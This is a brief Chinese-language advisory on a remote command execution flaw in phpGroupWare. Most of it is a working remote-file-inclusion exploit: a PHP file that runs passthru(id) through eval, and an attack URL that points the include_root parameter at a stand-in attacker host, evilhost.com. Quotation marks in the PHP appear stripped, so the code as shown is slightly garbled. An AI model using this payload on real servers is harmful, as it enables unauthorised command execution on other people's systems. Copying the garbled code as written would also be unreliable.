phpGroupWare远程执行命令漏洞

                                                攻击者可以在某个自己控制的主机上建立一个目录phpgwapi,并在下面创建一个
phpgw_info.inc.php文件，其内容如下：

<?php

        // PHP code to be executed
        $phpcode = '
                echo( Hi there!<BR> );
                passthru( id );
        ';

        // If we were called via remote include, send the code to be
        // executed
        if (substr($HTTP_SERVER_VARS[ HTTP_USER_AGENT ], 0, 3) ==  PHP )
                echo( <?php $phpcode ?> );
        else
        // Otherwise we're being executed on the target web server already,
        // so simply evaluate the code
                eval($phpcode);

        exit();

?>

则调用下列命令可能发动攻击：

http://target/phpgroupware/inc/phpgwapi/phpgw.inc.php?phpgw_info[server][include_root]=
http://evilhost.com/~shaun